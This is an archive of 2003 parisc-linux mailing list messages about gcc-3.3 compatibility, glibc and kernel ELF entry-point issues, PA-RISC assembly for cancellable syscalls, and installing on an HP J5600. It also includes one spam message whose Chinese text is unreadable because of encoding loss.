X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Thu, 20 Mar 2003 19:20:05 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <3E689FC400004712@ocpmta1.freegates.net>
References: <03031617171601.01171@wolf466>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622313 23458 80.91.229.3 (22 Nov 2014 02:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@goquest.com, "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 11:20:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58B6E48D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 11:20:14 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18w4e7-0007Om-00; Thu, 20 Mar 2003 19:20:07 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 20 Mar 2003 19:20:05 +0100
In-Reply-To: <03031617171601.01171@wolf466>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18022

Hi Mike,

>On Sunday 16 March 2003 05:06 pm, Matthew Wilcox wrote:
>> On Sun, Mar 16, 2003 at 04:52:19PM -0600, Michael S. Zick wrote:
>> > On Friday 14 March 2003 07:17 am, Matthew Wilcox wrote:
>> > > net/core/rtnetlink.c:extern __inline__ int rtnetlink_rcv_skb(struct
>> > > sk_buff *skb)
>> >
>> > Stolen from the GCC thread on 3.x.x inlining...
>> > - - - - GCC - - - - -
>> > For the record, the kernel doesn't need this any more.  Go check 2.5;
>> > new versions of <linux/compiler.h> contain this line:
>> > #define inline          __inline__ __attribute__((always_inline))
>> > - - - - - - - - - - - -
>> > That forces GCC to ignore its changed inline metrics and simply inline
>> > the function.
>>
>> Yes, but...
>>
>>  * Joel's using 2.4, not 2.5
>Exactly why I mentioned it.
>
>>  * #define inline doesn't help functions which are marked as __inline__
>If he follows your suggestion of dropping the "__" around "inline" it will.
>
>>
>> This isn't a function which absolutely needs to be inlined.  It can
>> be `static inline' and gcc can do whatever it likes then.
>The subject is getting a lot of discussion on the GCC list.  I only mentioned
>this one workaround so that Joel could get on with his work before the issue
>is settled on the GCC list.
>
Good idea: I (just sorry for delay) back port this stuff for 2.5 and it works
fine.

Thanks a lot,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Thu, 20 Mar 2003 13:23:23 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200303201823.h2KINN1w007420__6552.72595254264$1416622313$gmane$org@hiauly1.hia.nrc.ca>
References: <200303201813.h2KIDn3P007214@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622313 23461 80.91.229.3 (22 Nov 2014 02:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:53 +0000 (UTC)
Cc: jsoe0708@tiscali.be, tausq@debian.org, b.gunreben@web.de,
	willy@debian.org, doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 11:23:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCADB48D7
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 11:23:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2KINOsQ007422;
	Thu, 20 Mar 2003 13:23:25 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2KINN1w007420;
	Thu, 20 Mar 2003 13:23:23 -0500 (EST)
In-Reply-To: <200303201813.h2KIDn3P007214@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 20, 2003 01:13:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18023

> No, don't do that.  SIG_DFL, SIG_IGN and SIG_ERR expand to compound
> literals.

Sorry, that part is wrong.  Anyway, just leave the macro defines as
is and cast them where used to void *.  This causes the conversion
of the other operand to void * and function pointer conicalization
won't be done (6.5.9, paragraph 5).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /lib/ld.so.1 (glibc) issues on parisc-linux 2.5 kernel??
Date: 20 Mar 2003 21:18:46 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <1048220325.15076.160.camel__42081.9034371108$1416622313$gmane$org@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622313 23465 80.91.229.3 (22 Nov 2014 02:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 21:18:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id E865D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 21:18:49 -0700 (MST)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 9DCF42B109; Thu, 20 Mar 2003 21:18:46 -0700 (MST)
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18024

Hello libc hackers,

I am investigating a problem that occurs between ld.so.1
and the kernel on the 2.4 (w/o the added hack to fix this) and 2.5 
kernels. The problem manifested itself when I tried to run the ltp
tests, and is shown below:


rbrad@vega:~$ /lib/ld.so.1 --verify /bin/sh
Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion
`_rtld_local._dl_rtld_map.l_libname' failed!


The system is running Debian Linux with this version of glibc:
ii  libc6          2.3.1-14       GNU C Library: Shared libraries and


The complete email thread on the parisc-linux list is located at:

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-March/019460.html




I have basically tracked this mis-match down to this problem:

With this statement in the kernel (fs/binfmt_elf.c:create_elf_tables())

	NEW_AUX_ENT(AT_ENTRY, exec->e_entry);

The user_entry and ENTRY_POINTS are:

	user_entry: 41001fb4
	ENTRY_POINT: 41027082


With this statement not present, and the interpreter_type == 0 (No
Interpreter) .. the user_entry and ENTRY_POINT match.  [Note: The
assert goes away at this point].

	user_entry: 41027082
	ENTRY_POINT: 41027082


So at this point, I am not sure if the kernel is setting the
exec->e_entry incorrectly, or if the ENTRY_POINT needs to be adjusted
in glibc for the hppa platform.


Carlos O'Donell suggested I forward this message to this list for
additional advice.  Please cc me on any replies since I am not
subscribed to this list.

Thanks,

- Ryan


-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 13802254385@china.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zbjD99PXtvnUsKO/?=
Date: Fri, 21 Mar 2003 14:24:02 +0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20030321062342.414444829@dsl2.external.hp.com>
Reply-To: xianggui@21cn.net
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622314 23469 80.91.229.3 (22 Nov 2014 02:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 23:23:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lists.parisc-linux.org (unknown [61.144.174.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 414444829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 23:23:42 -0700 (MST)
X-Priority: 4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18025

Ƶɼ-1
*MPEG-4ѹʽ,·Ƶ,һ·Ƶ
*Դ25֡/PALʽ,30֡/NTSCʽ
*ڵ·ɼʱ,ṩȫʵʱƵɼ
*طſѡͬٶȻط,
*¼ռӲ̿ռ60M-100M/·/Сʱ
*ʾֱ768576  384288
*ͨ,бźŴ
*Զͼ,Զ̻ط¼,ͨ绰ߴ,ͨIE
*ϵͳְ֧װ4鿨,ﵽ16·Ƶɼ,¼Դ100֡
*Windows 98ϵͳ

Ƶɼ-
*MJPEGѹʽ
*ʾֱ640480  320240
*һṩ4-8·Ƶ
*Դߴ100֡/PALʽ,NTSCʽ120֡/
*ʵʱʾ,¼Դߴ100֡
*·,·,ƶⱨ
*¼ģʽ,̬¼񡢴¼񡢶ʱ¼¼
*̨ͷ,ӲԶ
*ͬʱӡ¼񼰻ط,Զ˿ɵ໭ʾ
*繦,Զ˿ɶ໭
*֡ɵ,¼ռӲ̿ռ200-500M·/Сʱ
*ϵͳְ֧װ鿨,ߴ16·Ƶ,¼Դ200֡
*indows 98ϵͳ,ּ֧ġļӢĽ
*:˶815EP  ATI 32MԿ

Ƶɼ-3
*ENGIN-Kѹʽ,֧PALNTSLʽ
*16·һ,4·ʵʱ,¼Դ100֡
*ֱ640480,320240,160120
*Դߴ100֡/PALʽ,NTSCʽ120֡/
*·,·,ƶⱨ
*¼ģʽ,̬¼񡢴¼񡢶ʱ¼¼
*ǰ豸ʾ,ͨ(ISDN/DDN/PSTN/LAN)
*ͨԶѲɽATM豸״̬л
*̨ͷ,ӲԶ
*ͬʱӡ¼񼰻ط,Զ˿ɵ໭ʾ
*ط֡ɵ,¼ռӲ̿ռ200M-400M/·/Сʱ
*Ƶ1-16·,Ƶ1·
*ϵͳְ֧װ鿨,¼Դﵽ200֡
*ϵͳWndows 98
*:˶815EP  ATI 32MԿ


From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Implementing cancellable syscalls for PA in glibc 2.3.2
Date: Fri, 21 Mar 2003 01:58:08 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20030321065808.GC7182@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622314 23471 80.91.229.3 (22 Nov 2014 02:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 20 23:57:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29DAF4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Mar 2003 23:57:46 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18wGTg-0004UU-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 01:58:08 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (55% Sync Ratio [======....])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18026

PA,

I _know_ in all my PA travels I've seen assembly to do these bits, but
currently my sleepy brain says "write the list, and collate tomorrow."

N.B. It must be assembly, it's GAS, and this will live in glibc, if you
really want to know I'm writing the cancellable syscall support so we
can have a building 2.3.2 :)

---
Task A: Get single thread pointer.

	mfctl cr27, r4;
	* Then I need to load r4->p_header.multiple_threads somehow?*
	* I don't really know if I can just load the struct offset  *
	* without worrying that GCC's padded things...              *

	* Also need to check if this value is non-zero, subtract 1? *

Task B: Save space on the stack.

	stwm r4, STACKSPACE(sp);

Task C: Restore space from stack.

	ldwm -STACKSPACE(sp), r4;

Task D: Push an arg onto the stack.

	stw r2[6543], OFFSET(sp);
	* Remembering that it's 4 bytes per store *

Task E: Get an arg from the stack.

	ldw -OFFSET(sp), r2[6543];
---

Comments and help is welcome :)

c.


From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Witzel <stefan.witzel@zvw.uni-goettingen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP J5600
Date: Fri, 21 Mar 2003 12:52:58 +0100
Organization: Universitaet Goettingen / Stabsstelle DV
Lines: 24
Approved: news@gmane.org
Message-ID: <Q.20030321125258.211C.2.1SCD@mx-b.zvw.uni-goettingen.de>
Reply-To: stefan.witzel@zvw.uni-goettingen.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622314 23473 80.91.229.3 (22 Nov 2014 02:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:54 +0000 (UTC)
To: "PARISC-LINUX" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 04:53:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx-b.zvw.uni-goettingen.de (mx-b.zvw.uni-goettingen.de [134.76.168.113])
	by dsl2.external.hp.com (Postfix) with SMTP id 37F594829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 04:53:00 -0700 (MST)
Original-Received: (qmail 18877 invoked from network); 21 Mar 2003 11:52:58 -0000
Original-Received: from dv331.zvw.uni-goettingen.de (172.16.3.50)
  by mx-b.zvw.uni-goettingen.de with SMTP; 21 Mar 2003 11:52:58 -0000
X-Mailer: PostMe 2.01
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18027

Hello,

I try to install parisc-linux on a J5600 workstation. When the
welcome screen from Debian appears I press the enter key 
(german keyboard, USB) to continue but there is no reaction.

So I looked in the mailing list archives and found that there
are/were some problems with J5600 workstations.

What is the current state? Are J5600 supported?

Thanks in advance.

Stefan Witzel

--
Stefan Witzel                  --------------------------------------
Universitaet Goettingen        stefan.witzel at zvw.uni-goettingen.de
Stabsstelle DV                 --------------------------------------
Gosslerstrasse 5-7                        fon: +49 551 394160
37073 Goettingen                          fax: +49 551 394365
Germany                        --------------------------------------



From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP J5600
Date: Fri, 21 Mar 2003 12:14:32 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20030321121432.GI14520@parcelfarce.linux.theplanet.co.uk>
References: <Q.20030321125258.211C.2.1SCD@mx-b.zvw.uni-goettingen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622315 23476 80.91.229.3 (22 Nov 2014 02:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:55 +0000 (UTC)
Cc: PARISC-LINUX <parisc-linux@lists.parisc-linux.org>
To: Stefan Witzel <stefan.witzel@zvw.uni-goettingen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 05:14:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43FC94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 05:14:34 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18wLPs-0004Ts-Nk; Fri, 21 Mar 2003 12:14:32 +0000
Content-Disposition: inline
In-Reply-To: <Q.20030321125258.211C.2.1SCD@mx-b.zvw.uni-goettingen.de>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18028

On Fri, Mar 21, 2003 at 12:52:58PM +0100, Stefan Witzel wrote:
> Hello,
> 
> I try to install parisc-linux on a J5600 workstation. When the
> welcome screen from Debian appears I press the enter key
> (german keyboard, USB) to continue but there is no reaction.
> 
> So I looked in the mailing list archives and found that there
> are/were some problems with J5600 workstations.
> 
> What is the current state? Are J5600 supported?

Yes, but USB wasn't in Debian 3.0.  Back in November, Grant replied to someone with a similar problem:

> I suspect the kernel in debian stable might just be too old.
> Can you try newer net-install images from ESIEE?
>         (ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/)
> 
> FWIW, at least three developers are *using* C3000 including myself.
> But I've never cold installed using the debian since I've had bits
> on this machine since well before any ISOs were available.
> Probably would be a good exercise....

No reply was received indicating whether or not this worked, so I'm
reluctant to add a FAQ entry for it.  Please let us know how you get on
with this.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Fri, 21 Mar 2003 13:44:28 +0100
Lines: 372
Approved: news@gmane.org
Message-ID: <3E689FC400004CD8__38775.0504109592$1416622315$gmane$org@ocpmta1.freegates.net>
References: <200303201823.h2KINN1w007420@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3E689FC400004CD8/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622315 23478 80.91.229.3 (22 Nov 2014 02:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:55 +0000 (UTC)
Cc: tausq@debian.org, b.gunreben@web.de, willy@debian.org,
	doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	dave@hiauly1.hia.nrc.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 21 05:44:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 765854829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Mar 2003 05:44:53 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18wLsr-0000p1-00; Fri, 21 Mar 2003 13:44:29 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 21 Mar 2003 13:44:28 +0100
In-Reply-To: <200303201823.h2KINN1w007420@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18029

--========/3E689FC400004CD8/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi Dave,
>
>Sorry, that part is wrong.  Anyway, just leave the macro defines as
>is and cast them where used to void *.  This causes the conversion
>of the other operand to void * and function pointer conicalization
>won't be done (6.5.9, paragraph 5).
>
you have definitely right.

I test following work-around against 2.4.20-pa32 with latest dpkg gcc-3.3
(3.3-0pre2) and it boot well know:
=====
diff -Naur linux-2.4.20-pa32/Makefile linux-2.4.20-pa32-gcc33/Makefile
--- linux-2.4.20-pa32/Makefile	2003-03-21 12:17:41.000000000 +0100
+++ linux-2.4.20-pa32-gcc33/Makefile	2003-03-21 12:19:06.000000000 +0100
